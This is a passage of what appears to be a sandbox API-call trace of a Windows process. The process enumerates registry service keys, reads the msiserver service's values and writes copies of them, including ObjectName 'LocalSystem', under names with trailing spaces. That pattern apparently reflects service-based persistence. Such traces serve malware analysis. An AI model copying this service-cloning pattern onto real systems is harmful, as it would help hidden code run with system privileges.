lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0170.524] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0170.525] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0170.526] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0170.526] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0170.526] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0170.526] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0170.526] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0170.526] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0170.526] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0170.526] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0170.526] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0170.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0170.526] RegCloseKey (hKey=0x9c) returned 0x0 [0170.526] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0170.526] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0170.526] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0170.526] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0170.526] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0170.526] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0170.527] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0170.527] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0170.527] RegCloseKey (hKey=0x80000002) returned 0x0 [0170.527] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0170.527] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0170.527] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0170.527] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0170.527] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0170.527] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0170.527] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0170.527] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0170.527] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0170.527] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0170.527] RegCloseKey (hKey=0x14c) returned 0x0 [0170.527] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0170.527] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0170.528] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0170.528] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0170.528] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0170.528] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0170.528] RegCloseKey (hKey=0x9c) returned 0x0 [0170.528] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0170.528] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0170.528] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0170.528] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0170.528] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0170.528] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0170.528] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0170.528] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0170.528] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0170.528] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.529] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.529] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.529] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.529] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.529] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.529] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.529] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.529] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.529] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.529] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.529] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0170.529] RegSetValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x2156ff8*, cbData=0x195 | out: lpData=0x2156ff8*) returned 0x0 [0170.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2156ff8) returned 1 [0170.530] RegSetValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x21f2e28*, cbData=0x6b | out: lpData=0x21f2e28*) returned 0x0 [0170.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.530] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.530] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.530] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.530] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.530] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.530] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.530] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.530] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.530] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.530] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.530] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.530] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0170.530] RegSetValueExA (in: hKey=0x9c, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0170.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0170.531] RegSetValueExA (in: hKey=0x9c, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0170.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0170.531] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.531] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.531] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.531] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.531] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.531] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.531] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.531] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.531] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.531] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.531] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.531] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0170.531] RegSetValueExA (in: hKey=0x9c, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0170.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0170.532] RegSetValueExA (in: hKey=0x9c, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0170.532] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.532] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.532] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.532] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.532] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.532] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.532] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.532] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.532] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.532] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0170.532] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, 